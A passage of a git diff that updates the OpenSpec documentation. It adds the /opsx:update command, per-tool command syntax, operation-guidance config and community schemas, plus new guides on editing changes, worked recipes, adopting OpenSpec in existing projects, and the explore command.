Created openspec/changes/add-dark-mode/ ### `/opsx:explore` +> **Start here when you're unsure.** Explore is a no-stakes thinking partner: it reads your codebase, compares options, and sharpens a fuzzy idea into a concrete plan before any change exists. It ships in the default profile. For the full case and more examples, see the [Explore First](explore.md) guide. + Think through ideas, investigate problems, and clarify requirements before committing to a change. **Syntax:** @@ -202,7 +210,7 @@ AI: Change: add-dark-mode ✓ proposal (done) ◆ specs (ready) ◆ design (ready) - ○ tasks (blocked - needs: specs) + ○ tasks (blocked - needs: specs, design) Creating specs... @@ -210,7 +218,7 @@ AI: Change: add-dark-mode ✓ Created openspec/changes/add-dark-mode/specs/ui/spec.md - Now available: tasks + Now available: design Run /opsx:continue to create the next artifact. ``` @@ -315,6 +323,55 @@ AI: Implementing add-dark-mode... --- +### `/opsx:update` + +Revise a change's existing planning artifacts and keep them coherent with one another. Planning artifacts only - it never edits code. + +**Syntax:** + +```text +/opsx:update [change-name] +``` + +**Arguments:** + +| Argument | Required | Description | +|----------|----------|-------------| +| `change-name` | No | Which change to update (inferred from context if not provided) | + +**What it does:** + +- Reads the change's artifacts via `openspec status --change --json` +- Applies your requested revision, or reviews the artifacts for contradictions if you didn't name one +- Reconciles the other existing artifacts in any direction (a design edit may ripple back to the proposal) +- Confirms every edit with you before writing, one artifact at a time +- Ends by recommending the next step: `/opsx:continue` (artifacts missing), `/opsx:apply` (carry a revised plan into code), or `/opsx:archive` (all done) + +**Example:** + +```text +You: /opsx:update add-dark-mode - we're storing the theme in a cookie now, not localStorage + +AI: Reading add-dark-mode artifacts... + + The design references localStorage in two places; tasks 1.3 covers + localStorage persistence; the proposal doesn't mention storage. + + Proposed revisions: + 1. design.md - swap localStorage decision for cookie storage + 2. tasks.md - reword task 1.3 to cookie persistence + + Apply revision 1? (design.md) +``` + +**Tips:** + +- It won't create missing artifacts - that's `/opsx:continue` +- If the change was already implemented, follow up with `/opsx:apply` so the code matches the revised plan +- If your revision changes the *intent* of the change, start fresh with a new change instead (see [When to Update vs. Start Fresh](opsx.md#when-to-update-vs-start-fresh)) + +--- + ### `/opsx:verify` Validate that implementation matches your change artifacts. Checks completeness, correctness, and coherence. @@ -612,15 +669,20 @@ AI: Welcome to OpenSpec! Different AI tools use slightly different command syntax. Use the format that matches your tool: -| Tool | Syntax Example | -|------|----------------| -| Claude Code | `/opsx:propose`, `/opsx:apply` | -| Cursor | `/opsx-propose`, `/opsx-apply` | -| Windsurf | `/opsx-propose`, `/opsx-apply` | -| Copilot (IDE) | `/opsx-propose`, `/opsx-apply` | -| Trae | Skill-based invocations such as `/openspec-propose`, `/openspec-apply-change` (no generated `opsx-*` command files) | +| Your tool's command file | Syntax example | Example tools | +|--------------------------|----------------|---------------| +| `.../commands/opsx/.*` | `/opsx:propose`, `/opsx:apply` | Claude Code, Gemini CLI, Crush | +| `.../opsx-.*` | `/opsx-propose`, `/opsx-apply` | Cursor, Devin Desktop, Copilot (IDE), Trae, Oh My Pi | +| none — skills only | `/openspec-propose`, `/openspec-apply-change` | CodeArts, ForgeCode, Hermes, MiniMax Code, Mistral Vibe, shared `.agents` | +| none — Kimi Code | `/skill:openspec-propose` | Kimi Code | +| none — Codex CLI | `$openspec-propose` | Codex | + +> **Devin Desktop vs Devin Local:** the `.devin/workflows/opsx-*.md` files give +> Devin Desktop `/opsx-propose`. Devin Local has no workflows — use the skills +> OpenSpec writes to `.devin/skills/`, e.g. `/openspec-propose`, which work on +> both agents. -The intent is the same across tools, but how commands are surfaced can differ by integration. +The intent is the same across tools, but how commands are surfaced can differ by integration. [How To Invoke](supported-tools.md#how-to-invoke) lists every supported tool; this table shows only examples of each shape. > **Note:** GitHub Copilot commands (`.github/prompts/*.prompt.md`) are only available in IDE extensions (VS Code, JetBrains, Visual Studio). GitHub Copilot CLI does not currently support custom prompt files — see [Supported Tools](supported-tools.md) for details and workarounds. diff --git a/docs/concepts.md b/docs/concepts.md index b929a588a7..10106c5b78 100644 --- a/docs/concepts.md +++ b/docs/concepts.md @@ -190,7 +190,7 @@ openspec/changes/add-dark-mode/ ├── proposal.md # Why and what ├── design.md # How (technical approach) ├── tasks.md # Implementation checklist -├── .openspec.yaml # Change metadata (optional) +├── .openspec.yaml # Change metadata (optional): schema, created, skip_specs, retire_capabilities └── specs/ # Delta specs └── ui/ └── spec.md # What's changing in ui/spec.md @@ -392,7 +392,8 @@ The system MUST expire sessions after 15 minutes of inactivity. |---------|---------|------------------------| | `## ADDED Requirements` | New behavior | Appended to main spec | | `## MODIFIED Requirements` | Changed behavior | Replaces existing requirement | -| `## REMOVED Requirements` | Deprecated behavior | Deleted from main spec | +| `## REMOVED Requirements` | Deprecated behavior | Deleted from main spec; removing the last requirement retires the capability and deletes its spec file, when the change declares `retire_capabilities: true` | +| `## Purpose` | What a brand-new capability is for | Seeds the Purpose of the main spec being created; ignored when the spec already exists | ### Why Deltas Instead of Full Specs diff --git a/docs/customization.md b/docs/customization.md index ee4596e5b0..b1143b9276 100644 --- a/docs/customization.md +++ b/docs/customization.md @@ -17,6 +17,8 @@ The `openspec/config.yaml` file is the easiest way to customize OpenSpec for you - **Set a default schema** - Skip `--schema` on every command - **Inject project context** - AI sees your tech stack, conventions, etc. - **Add per-artifact rules** - Custom rules for specific artifacts +- **Add per-operation guidance** - Advisory preferences for apply and archive work +- **Remember integration choices** - e.g. the [GitHub Copilot cloud coding agent](supported-tools.md#github-copilot-cloud-coding-agent) opt-in ### Quick Setup @@ -43,6 +45,19 @@ rules: specs: - Use Given/When/Then format - Reference existing patterns before inventing new ones + +operations: + apply: + guidance: + - Run focused tests before the full suite + archive: + guidance: + - Keep the completion summary concise + +# Set by `openspec init` when you choose (or decline) the GitHub Copilot +# cloud coding agent; controls whether `init`/`update` generate its files. +githubCopilot: + cloudAgent: false ``` ### How It Works @@ -80,6 +95,60 @@ Tech stack: TypeScript, React, Node.js, PostgreSQL - **Context** appears in ALL artifacts - **Rules** ONLY appear for the matching artifact +**Operation guidance:** + +`operations.apply.guidance` and `operations.archive.guidance` are optional arrays +of advisory instructions for how an agent should conduct those operations. They +are separate from `rules`: operation guidance does not constrain artifact content, +and artifact rules are never relabeled as operation guidance. + +Apply and archive fetch these inputs at execution time: + +```bash +openspec instructions apply --change my-feature --json +openspec instructions archive --change my-feature --json +``` + +Both surfaces return current project `context` and matching +`operationGuidance` as separate optional fields. Each invocation reads a fresh +snapshot from the resolved root. When `--store ` is selected, the change, +context, and guidance all come from that store rather than the current repository. +The archive instruction command is read-only: it does not inspect or merge delta +specs, write main specs, move the change, or run the static archive workflow. + +Project context is a required prompt-level input. Generated workflows read it and +apply relevant project facts, conventions, and constraints. Operation guidance is +optional additive advice: workflows consider every entry and follow entries that +are applicable and compatible with the built-in workflow. + +Both fields remain separate from CLI-controlled state, resolved paths, built-in +steps, explicit user choices, and artifact rules. A workflow reports context +conflicts while preserving the controlling value. It does not follow inapplicable +or conflicting guidance and explains why. Neither field is an enforceable check, +and workflows do not copy their text into implementation files, specs, change +artifacts, or summaries unless the user separately requests that content. + +**Archive and spec-sync input safety:** + +Archive, bulk archive, and standalone sync use +`artifactPaths.specs.existingOutputPaths` from `openspec status --json` as the +only delta-spec source. A schema without a `specs` artifact, or a change whose +concrete output list is empty, has nothing to sync; other artifacts are not used +to infer delta specs. + +Before a semantic merge writes a main spec, the workflow consumes current +`openspec instructions specs --change --json` output. The returned +`specs` rules constrain only the main specs produced by that merge. Single archive +passes that snapshot into inline sync, standalone sync fetches it directly, and +bulk archive obtains every required snapshot before its first spec write. A +non-zero or invalid JSON archive/specs instruction response is a lookup failure, +not an empty input: the workflow stops before the affected spec write or change +move (for bulk archive, before any batch write or move). + +This configuration does not change archive execution phases, user prompts, +filesystem operations, semantic merge ownership, the direct `openspec archive` +command, or the structure and output of artifact `rules`. + ### Schema Resolution Order When OpenSpec needs a schema, it checks in this order: @@ -197,6 +266,10 @@ apply: | `instruction` | AI instructions for creating this artifact | | `requires` | Dependencies - which artifacts must exist first | +List artifacts in the order you want them written. `requires` decides what is +possible; the order of the `artifacts:` list decides what comes first when +several artifacts are ready at once. + ### Templates Templates are markdown files that guide the AI. They're injected into the prompt when creating that artifact. @@ -337,6 +410,24 @@ Then edit `schema.yaml` to add: --- +## Community Schemas + +OpenSpec also supports community-maintained schemas distributed via standalone repositories. These provide opinionated workflows that integrate OpenSpec with other tools or systems, similar to how [github/spec-kit's community extension catalog](https://github.com/github/spec-kit/tree/main/extensions) works for spec-kit. + +Community schemas are not vendored into OpenSpec core — they live in their own repositories with their own release cadence. To use one, copy the schema bundle into your project's `openspec/schemas//` directory (each repo's README has install instructions). + +| Schema | Maintainer | Repository | Description | +|--------|-----------|-----------|-------------| +| `intent-driven` | @harikrishnan83 | [intent-driven-dev/openspec-schemas](https://github.com/intent-driven-dev/openspec-schemas/tree/main/openspec/schemas/intent-driven) | Captures change intent, observable behaviour, technical design, and durable architectural decisions before implementation. Adds a change-local ADR review manifest and writes qualifying long-lived decisions as immutable, supersedable ADRs. | +| `superpowers-bridge` | @JiangWay | [JiangWay/openspec-schemas](https://github.com/JiangWay/openspec-schemas/tree/main/superpowers-bridge) | Integrates OpenSpec's artifact governance with [obra/superpowers](https://github.com/obra/superpowers) execution skills (brainstorming, writing-plans, TDD via subagents, code review, finishing). Adds an evidence-first `retrospective` artifact filling a gap Superpowers does not natively cover. | +| `nanopm` | @nmrtn | [nmrtn/nanopm](https://github.com/nmrtn/nanopm/tree/main/openspec-schema) | PM-first workflow. Runs [nanopm](https://github.com/nmrtn/nanopm)'s planning pipeline (audit → strategy → roadmap → PRD) upstream of implementation. Bridges product planning to OpenSpec's spec-driven engineering workflow. Artifacts read from `.nanopm/` if present — proposal sources the audit, design sources the strategy, and tasks source the PRD breakdown. | +| `e2e-runbooks` | @Lukk17 | [Lukk17/openspec-schemas](https://github.com/Lukk17/openspec-schemas/tree/master/openspec/schemas/e2e-runbooks) | Capability-level end-to-end test runbooks. Each capability gets an immutable spec, an immutable tasks-template, and one timestamped run record per execution. Assertions are observable behaviour only (HTTP status, response body, persisted state — never log substrings); each run records start/end UTC, duration, and best-estimate LLM token consumption. | +| `anvil` | @jikkujoyce | [jikkujoyce/openspec-schemas](https://github.com/jikkujoyce/openspec-schemas/tree/main/schemas/anvil) | Spec-driven workflow with TDD discipline and an adversarial review step. Flow: `proposal` → `specs` → `design` → `review` → `test-plan` → `tasks` → `apply` → `verify`. `review` is written by a fresh-context, read-only reviewer (a second model when one is available) and emits a `VERDICT:` line telling the agent to gate `test-plan`, `tasks`, and `apply`; OpenSpec only checks that artifacts exist, so enforce the gate with your own CI or hook. `test-plan` maps every spec scenario to a named test and doubles as a red/green ledger that `verify` audits. | + +> Want to contribute a community schema? Open an issue with a link to your repository, or submit a PR adding a row to this table. + +--- + ## See Also - [CLI Reference: Schema Commands](cli.md#schema-commands) - Full command documentation diff --git a/docs/editing-changes.md b/docs/editing-changes.md new file mode 100644 index 0000000000..e2fc830bdf --- /dev/null +++ b/docs/editing-changes.md @@ -0,0 +1,91 @@ +# Editing & Iterating on a Change + +**Every artifact in a change is just a Markdown file you can edit at any time.** There is no locked "planning phase," no approval gate, no special edit mode to enter. Want to change the proposal after you've started building? Open `proposal.md` and change it. Realized the design is wrong mid-implementation? Fix `design.md` and keep going. That's the whole answer, and it's by design. + +This page is for the moment you think "wait, can I go back and change that?" Yes. Here's how, for each common case. + +## Two ways to edit anything + +You always have both: + +1. **Edit the file directly.** Artifacts are plain Markdown in `openspec/changes//`. Open `proposal.md`, `design.md`, `tasks.md`, or a delta spec under `specs/` in your editor and change it. Nothing else is required. + +2. **Ask your AI to revise it.** In chat, just say what you want: "Update the proposal to drop the caching idea and add a rate-limit section," or "the design should use a queue, not polling." The AI edits the artifact for you, using the rest of the change as context. + +Use whichever fits the moment. Small wording tweak? Edit the file. Substantive rethink? Let the AI revise with full context. + +## "How do I update the proposal (or specs) after I've started?" + +Just update it. Same change, refined. + +If you're using the expanded commands, the natural flow is: edit the artifact, then run `/opsx:continue` to pick up from the new state, or `/opsx:apply` to keep implementing against the updated plan. If you're on the default `core` commands, edit the artifact and run `/opsx:apply`; it reads the current files, so it builds against whatever the artifacts now say. + +The mental model: artifacts are the live plan, not a signed contract. The AI always works from their current contents, so editing them steers the work. + +```text +You: I want to change the approach in this change. + +You: [edit design.md, or tell the AI:] + Update design.md to use a background job instead of a synchronous call. + +AI: Updated design.md. The task list still fits; want me to continue applying? + +You: /opsx:apply +``` + +This answers a very common question: there's no separate "update proposal" command because you don't need one. The file is the source of truth, and editing it (by hand or via the AI) is the update. + +## "How do I go back to review after implementing?" + +You don't have to "go back," because you never left. The workflow is fluid: review, edit, and implementation aren't sequential phases you're trapped in. + +Concretely, after some `/opsx:apply` work: + +- Want to re-examine the plan? Open the artifacts and read them, or run `openspec show ` in your terminal for a consolidated view. +- Found something to change? Edit the artifact (or ask the AI to), then continue. +- Want a structured check that the code matches the plan? Run `/opsx:verify` (expanded command). It reports completeness, correctness, and coherence without blocking anything. See [Workflows: Verify](workflows.md#verify-check-your-work). + +There's no "review phase" to return to, because review is something you can do at any point, including after implementation. + +## "I edited the code by hand. How do I reconcile that with OpenSpec?" + +This happens constantly and it's fine. You tweaked something in your editor, and now the code and the artifacts disagree. Bring them back in sync in whichever direction is true: + +- **The code is now correct, the spec is stale.** Update the delta spec (and tasks, if relevant) to describe the behavior you actually shipped. The spec should match reality before you archive, because archiving merges the spec into your source of truth. +- **The spec is correct, the code drifted.** Keep building or fixing until the code matches the spec. + +A fast way to surface mismatches is `/opsx:verify`: it reads your artifacts and your code and tells you where they diverge. Treat its output as a to-do list for reconciliation, then archive once they agree. + +The principle: at archive time, your specs become the truth of record. So before you archive, make the specs honest about what the code does. Manual edits are welcome; just don't let them quietly desync the spec. + +## Refining a proposal you're not happy with + +If a generated proposal misses the mark, you have three good moves: + +- **Iterate in place.** Tell the AI what's off ("the scope is too broad, drop the admin features") and let it revise. Cheapest and usually right. +- **Explore first, then re-propose.** If the problem is that the idea itself is unclear, step back to `/opsx:explore`, think it through, and let a sharper proposal come out of that. See [Explore First](explore.md). +- **Start fresh.** If the intent has fundamentally changed, a new change can be clearer than patching the old one. + +That last move has its own decision guide, next. + +## When to update vs. start a new change + +Short version: **update when it's the same work refined; start new when the intent fundamentally changed or the scope exploded into different work.** + +- Same goal, better approach? Update. +- Scope narrowing (ship the MVP now, more later)? Update, then archive, then a new change for phase two. +- The problem itself changed ("add dark mode" became "build a full theming system")? New change. + +There's a full flowchart and worked examples in [Workflows: When to Update vs Start Fresh](workflows.md#when-to-update-vs-start-fresh) and a deeper treatment in [OPSX: When to Update vs. Start Fresh](opsx.md#when-to-update-vs-start-fresh). + +## A note on tasks + +`tasks.md` is a living checklist, not a frozen plan. As you implement, you can add tasks you discover, remove ones that turned out unnecessary, or reorder them. The AI checks items off as it completes them during `/opsx:apply`, and it resumes from the first unchecked task if you come back later. Editing the list mid-flight is expected. + +## Where to go next + +- [Workflows](workflows.md) - patterns, plus the update-vs-new decision guide +- [Reviewing a Change](reviewing-changes.md) - the two-minute pass on a plan before you build it +- [Explore First](explore.md) - the place to step back to when an idea needs rethinking +- [Commands](commands.md) - `/opsx:continue`, `/opsx:apply`, and `/opsx:verify` in detail +- [Concepts: Artifacts](concepts.md#artifacts) - what each artifact is for diff --git a/docs/examples.md b/docs/examples.md new file mode 100644 index 0000000000..80d85611af --- /dev/null +++ b/docs/examples.md @@ -0,0 +1,224 @@ +# Examples & Recipes + +Real changes, start to finish. Each recipe shows the commands you'd type and what you'd see back, so you can match your situation to a pattern and copy it. These use the default **core** commands (`propose`, `explore`, `apply`, `update`, `sync`, `archive`); where the expanded set helps, it's noted. + +A reminder before you start: slash commands like `/opsx:propose` go in your **AI assistant's chat**, and `openspec` commands go in your **terminal**. If that's new, read [How Commands Work](how-commands-work.md) first. In the transcripts below, `You:` and `AI:` are the chat, and lines starting with `$` are the terminal. + +> **Not sure what you're building yet?** Most of these recipes are sharper if you start with `/opsx:explore` to think it through first. [Recipe 3](#recipe-3-exploring-before-you-commit) shows it in action, and the [Explore First](explore.md) guide makes the full case. + +## Recipe 1: A small feature, the fast path + +**When to use it:** you know what you want, and it's a contained piece of work. This is the most common recipe. + +The whole thing is three commands. Propose, build, archive. + +```text +You: /opsx:propose add-logout-button + +AI: Created openspec/changes/add-logout-button/ + ✓ proposal.md — why and what + ✓ specs/ — the new requirement and its scenarios + ✓ design.md — technical approach + ✓ tasks.md — implementation checklist + Ready for implementation. Run /opsx:apply. +``` + +Now read the plan. Open the proposal and the delta spec. This is the moment OpenSpec is built for: catching a wrong assumption while it's still one paragraph, not 400 lines of code. Edit any artifact directly if something's off, then continue. + +```text +You: /opsx:apply + +AI: Working through tasks... + ✓ 1.1 Add logout button to header + ✓ 1.2 Clear session on click + ✓ 1.3 Add confirmation dialog + All tasks complete! + +You: /opsx:archive + +AI: Archiving add-logout-button... + ✓ Merged specs into openspec/specs/auth/spec.md + ✓ Moved to openspec/changes/archive/2026-06-22-add-logout-button/ + Done. Ready for the next change. +``` + +That's it. The logout behavior is now part of your specs, and the change is filed away with its full context. + +## Recipe 2: A bug fix + +**When to use it:** something is broken and you want the fix recorded as a deliberate change to behavior, not a mystery commit. + +Bug fixes work exactly like features. The difference is in how you frame the proposal: describe the *correct* behavior, not just "fix the bug." + +```text +You: /opsx:propose fix-login-redirect-loop + +AI: Created openspec/changes/fix-login-redirect-loop/ + The proposal captures the current broken behavior and the + intended behavior. The delta spec MODIFIES the redirect + requirement so it's now precise and testable. + Ready for implementation. +``` + +Because the fix lands as a `MODIFIED` requirement with a fresh scenario, the next person (or the next AI session) sees not just that you fixed it, but what "correct" means. Then `/opsx:apply` and `/opsx:archive` as usual. + +Tip: for a fix, a good scenario is the regression test in prose. "GIVEN a logged-out user, WHEN they submit valid credentials, THEN they land on the dashboard and are not redirected again." Write that, and the implementation has a clear target. + +## Recipe 3: Exploring before you commit + +**When to use it:** you have a problem but not yet a plan. You're not sure what to build, or which approach is right. + +Start with `/opsx:explore`. It's a thinking partner with no structure and no artifacts created. It reads your codebase and helps you decide. + +```text +You: /opsx:explore + +AI: What would you like to explore? + +You: Page loads feel slow but I don't know where the time goes. + +AI: Let me look... I found three likely culprits: + 1. Large unoptimized images on the product list + 2. Synchronous data fetching that blocks render + 3. Re-renders triggered by context changes + Which should we tackle first? + +You: The data fetching one. + +You: /opsx:propose optimize-product-list-fetching + +AI: Created the change, with a proposal informed by what we just + found. Ready for implementation. +``` + +Exploration clarifies your thinking *before* you spend a change on it. When the insight crystallizes, propose, and the AI carries the context forward. + +## Recipe 4: Juggling two changes at once + +**When to use it:** you're mid-feature and an urgent fix jumps the queue. + +Changes are independent folders, so parallel work doesn't conflict. Start the fix, ship it, then return to the feature right where you left off. + +```text +You: I'm partway through add-dark-mode, but I need to fix a login bug now. + +You: /opsx:propose fix-login-redirect + +AI: Created openspec/changes/fix-login-redirect/. Ready for implementation. + +You: /opsx:apply + +AI: Implemented the fix. All tasks complete. + +You: /opsx:archive + +AI: ✓ Archived fix-login-redirect. + +You: Back to dark mode. + +You: /opsx:apply add-dark-mode + +AI: Resuming add-dark-mode. Picking up at task 2.3: Update Header... +``` + +Naming the change in `/opsx:apply add-dark-mode` is how you point the AI at a specific change when more than one is active. Because tasks track completion in `tasks.md`, the AI knows exactly where you stopped. + +When several changes are done at once, the expanded `/opsx:bulk-archive` files them together and resolves spec conflicts by checking what's actually implemented. See [Workflows](workflows.md#parallel-changes). + +## Recipe 5: A refactor with no behavior change + +**When to use it:** you're restructuring code, and externally visible behavior should stay identical. + +This is the interesting case, because a pure refactor has *nothing to add to your specs*. The behavior contract doesn't change; only the implementation does. So the work lives in the design and tasks, and the spec delta is empty or absent. + +```text +You: /opsx:propose refactor-payment-module + +AI: Created the change. The proposal states the goal (split the + payment module, no behavior change) and the design captures + the new structure. No spec changes, since behavior is identical. + Ready for implementation. +``` + +Declare the empty delta explicitly by setting `skip_specs: true` in the change's `.openspec.yaml`: + +```yaml +schema: spec-driven +skip_specs: true +``` + +Without the marker, `openspec validate` rejects a change with zero deltas (so a forgotten specs phase still gets caught); with it, validation passes and `openspec status` shows the specs stage as explicitly skipped rather than pending. If the refactor turns out to change behavior after all, remove `skip_specs` from `.openspec.yaml` and write the delta specs — validate treats the marker plus spec files as a conflict, so the stale marker can't linger silently. + +Archiving a marked change needs no extra flags (there are no deltas to merge). Independently, the `--skip-specs` flag tells the terminal command to skip the spec step explicitly: + +```bash +$ openspec archive refactor-payment-module --skip-specs +``` + +The same flag is handy for tooling, CI, and docs-only changes. The principle: specs describe behavior, so if behavior didn't change, the spec shouldn't either. See [Concepts](concepts.md#what-a-spec-is-and-is-not). + +## Recipe 6: Step-by-step control (expanded commands) + +**When to use it:** a complex or risky change where you want to review each artifact before moving on. + +The core `/opsx:propose` drafts everything at once. When you'd rather go one step at a time, turn on the expanded commands: + +```bash +$ openspec config profile # select the expanded workflows +$ openspec update # apply them to this project +``` + +Now you can scaffold and build incrementally: + +```text +You: /opsx:new add-2fa + +AI: Created openspec/changes/add-2fa/. Ready to create: proposal. + +You: /opsx:continue + +AI: Created proposal.md. Now available: specs, design. + +You: /opsx:continue + +AI: Created specs/auth/spec.md. Now available: design. +``` + +Review each artifact as it lands, edit freely, and continue when you're happy. When you want the rest drafted in one go, `/opsx:ff` fast-forwards through the remaining planning artifacts. Before archiving, `/opsx:verify` checks that the implementation actually matches the specs. See [Workflows](workflows.md#opsxff-vs-opsxcontinue). + +## Recipe 7: Learning the whole loop hands-on + +**When to use it:** you've installed OpenSpec and want to *feel* the workflow on your own code, not a toy example. + +Turn on the expanded commands (see Recipe 6), then: + +```text +You: /opsx:onboard + +AI: Welcome to OpenSpec! I'll walk you through a complete change + using your actual codebase. Let me scan for a small, safe + improvement we can make together... +``` + +`/opsx:onboard` finds a real (small) improvement, creates a change for it, implements it, and archives it, narrating every step. It takes 15 to 30 minutes and leaves you with a real change you can keep or discard. It's the gentlest way to learn. See [Commands](commands.md#opsxonboard). + +## Checking your work from the terminal + +Any time, from your terminal, you can inspect the state of things: + +```bash +$ openspec list # active changes +$ openspec show add-dark-mode # one change in detail +$ openspec validate add-dark-mode # check structure +$ openspec view # interactive dashboard +``` + +These are read-and-inspect tools. The proposing and building still happen through slash commands in chat. Full details in the [CLI reference](cli.md). + +## Where to go next + +- [Explore First](explore.md): the recommended way to start when you're unsure +- [Workflows](workflows.md): the patterns above, with decision guidance on when to use each +- [Commands](commands.md): every slash command in detail +- [Getting Started](getting-started.md): the canonical first-change walkthrough +- [Concepts](concepts.md): why the pieces fit together the way they do diff --git a/docs/existing-projects.md b/docs/existing-projects.md new file mode 100644 index 0000000000..8e879d4407 --- /dev/null +++ b/docs/existing-projects.md @@ -0,0 +1,134 @@ +# Using OpenSpec in an Existing Project + +**You do not document your whole codebase to start. You write specs only for what you're about to change.** That's the single most important thing to know about adopting OpenSpec on an existing project, and it's why OpenSpec is built brownfield-first. + +A common worry sounds like this: "My app is 80,000 lines old. Do I have to write specs for all of it before OpenSpec is useful?" No. You'd hate that, and so would we. OpenSpec grows your specs one change at a time. Your first change documents the slice it touches, the next change documents its slice, and over months your specs fill in naturally around the work you actually do. + +This guide shows how to start on day one without boiling the ocean. + +## The thirty-second version + +```bash +$ cd your-existing-project +$ openspec init # adds openspec/ and your AI tool's commands +``` + +Then, in your AI chat: + +```text +/opsx:explore # optional: have the AI read the area you'll touch +/opsx:propose +/opsx:apply +/opsx:archive +``` + +Your specs now describe exactly the part of the system that change touched, and nothing more. That's correct. You're done worrying about the other 80,000 lines. + +## Why delta-first is the whole trick + +OpenSpec changes are written as **deltas**: `ADDED`, `MODIFIED`, `REMOVED`. A delta describes what's changing relative to current behavior, not the entire system. + +This is exactly what brownfield work needs. You're rarely building from nothing. You're adding a field, fixing a redirect, tightening a timeout. A delta lets you specify that one change precisely without first writing a 40-page spec of everything around it. + +So your `openspec/specs/` directory doesn't start full and complete. It starts nearly empty and accumulates. Each archived change merges its delta in. The spec for `auth/` becomes thorough only after you've made several auth changes, which is exactly when you want it thorough. + +If you want the deeper mechanics, see [Concepts: Delta Specs](concepts.md#delta-specs). + +## Your first change on a real codebase + +Pick something small and real. Not a toy, not a rewrite. A change you were going to make this week anyway. Small first changes teach you the workflow with low stakes. + +**Step 1: Let the AI read the relevant area.** This is where `/opsx:explore` earns its keep on an unfamiliar or large codebase. Point it at the part you're about to touch and let it map how things work before proposing anything. + +```text +You: /opsx:explore + +AI: What would you like to explore? + +You: I need to add rate limiting to our public API, but I'm not sure + how requests currently flow through the middleware. + +AI: Let me trace it... [reads the router, middleware stack, and config] + Requests hit Express, pass through auth middleware, then your + controllers. There's no rate-limiting layer today. The cleanest + insertion point is a middleware right after auth. Want me to scope it? +``` + +Notice the AI now understands your actual structure, so the proposal it writes will fit your code, not a generic template. On a big codebase, this single habit saves the most pain. See [Explore First](explore.md). + +**Step 2: Propose the change.** The proposal and its delta spec capture just this change. + +```text +You: /opsx:propose add-api-rate-limiting +``` + +**Step 3: Build and archive** with `/opsx:apply` and `/opsx:archive`, same as any change. After archiving, you have a real spec for your rate-limiting behavior, born from a change you needed anyway. + +## Prefer a guided tour? Use onboard + +If you'd rather watch the whole loop happen on your own code with narration, the expanded command `/opsx:onboard` does exactly that: it scans your codebase for a small, safe improvement, then walks you through proposing, building, and archiving it, explaining each step. + +Turn on the expanded commands first: + +```bash +$ openspec config profile # select the expanded workflows +$ openspec update # apply them to this project +``` + +Then in chat: + +```text +/opsx:onboard +``` + +It's the gentlest possible introduction on a real project, and it leaves you with a genuine (small) change you can keep or discard. See [Commands: `/opsx:onboard`](commands.md#opsxonboard). + +## "But I already have requirements docs" + +Maybe you have a PRD, an SRS, a formal spec, even TLA+ models. Good. You don't import them wholesale, and you don't throw them away either. + +Treat existing docs as **source material for exploration**, not as specs to convert. When you start a change, paste or point the AI at the relevant section, and let it shape a focused OpenSpec delta from it. The delta captures the behavior you're changing now, in OpenSpec's testable requirement-and-scenario form. Your original documents stay where they are as background. + +The honest reason: OpenSpec specs are deliberately behavior-first and scoped to changes. A 40-page PRD is a different artifact with a different job. Forcing a one-time bulk conversion tends to produce a large, stale spec nobody trusts. Letting specs grow from real changes keeps them accurate. + +```text +You: /opsx:explore +You: Here's the section of our PRD about checkout. I'm implementing the + "guest checkout" requirement next. + [paste the relevant requirement] +AI: [reads it, asks clarifying questions, then helps scope a change] +You: /opsx:propose add-guest-checkout +``` + +## Organizing specs in a big codebase + +Specs live under `openspec/specs/`, grouped by **domain**: a logical area that matches how your team thinks about the system. You don't have to design the whole taxonomy up front. Create a domain folder when your first change in that area needs one. + +Common ways to slice domains: + +- **By feature area:** `auth/`, `payments/`, `search/` +- **By component:** `api/`, `frontend/`, `workers/` +- **By bounded context:** `ordering/`, `fulfillment/`, `inventory/` + +Pick whatever makes a newcomer nod. You can refine later. See [Concepts: Specs](concepts.md#specs). + +## Monorepos and work that spans repos + +For a monorepo, the simplest model is one `openspec/` directory at the repo root, with domains that map to your packages or services. That covers most teams. + +If your work genuinely spans **multiple repositories** (or several packages you treat as separate), OpenSpec has a beta **stores** feature: planning lives in its own standalone repo that any of your code repos can reference, so the plan does not have to live inside one repo's `openspec/` folder. It's beta, so treat its commands and state as evolving. Start with the [Stores User Guide](stores-beta/user-guide.md) for the mental model and the smallest useful path. + +## A few honest cautions + +- **Resist the urge to back-fill everything.** Writing specs for code you aren't changing feels productive and usually isn't. Those specs go stale, because nothing forces them to track reality. Let real changes drive your specs. +- **Keep early changes small.** Your first few changes are as much about learning the rhythm as shipping. A tight scope makes the loop fast and the lessons cheap. +- **Commit `openspec/` to git.** Your specs and archive belong in version control alongside the code they describe. +- **Give the AI context.** On a large codebase with strong conventions, fill in `openspec/config.yaml`'s `context:` so every proposal respects your stack and patterns. See [Customization](customization.md#project-configuration). + +## Where to go next + +- [Explore First](explore.md) - the key habit for understanding code before you change it +- [Getting Started](getting-started.md) - the full first-change walkthrough +- [Editing & Iterating on a Change](editing-changes.md) - adjusting a change as you learn +- [Concepts: Delta Specs](concepts.md#delta-specs) - why deltas make brownfield work clean +- [Customization](customization.md) - teach OpenSpec your project's conventions diff --git a/docs/explore.md b/docs/explore.md new file mode 100644 index 0000000000..432b0c6272 --- /dev/null +++ b/docs/explore.md @@ -0,0 +1,121 @@ +# Explore First + +**`/opsx:explore` is your thinking partner. Reach for it whenever you have a problem but not yet a plan.** It investigates your codebase, weighs options with you, and clarifies what you actually want, all before a single artifact or line of code is created. When the picture is clear, it hands off to `/opsx:propose`. + +If you take one habit from these docs, take this one: **when you're not sure, explore before you propose.** + +Here's why that matters. AI coding assistants are eager. Ask vaguely and they'll confidently build *something*, just maybe not the thing you needed. Explore is the cure. It's a no-stakes conversation where you and the AI figure out the right move together, so that by the time you propose, you're proposing the right thing. + +## When to explore + +Explore is the right first step more often than people expect. Use it when any of these is true: + +- You know the *problem* but not the *solution*. ("Pages feel slow." "Auth is a mess." "We keep getting duplicate orders.") +- You're choosing between approaches and want the tradeoffs laid out against your actual code. +- You're new to a codebase and need to understand how something works before you change it. +- The requirements are fuzzy and you want to sharpen them before committing. +- You suspect the work is bigger or smaller than it looks and want to scope it honestly. + +Skip explore only when you already know exactly what you want and how. In that case go straight to [`/opsx:propose`](commands.md#opsxpropose). + +## What it does (and doesn't) + +Explore is a **conversation**, not a generator. + +**It does:** +- Read and search your codebase to answer real questions. +- Compare options and name the tradeoffs of each. +- Draw diagrams to make a design legible. +- Help you narrow a vague idea into a concrete, buildable scope. +- Transition to `/opsx:propose` when you're ready. + +**It does not:** +- Create a change folder. +- Write any artifacts (no proposal, specs, design, or tasks). +- Write or modify code. + +That's the point. Exploring costs you 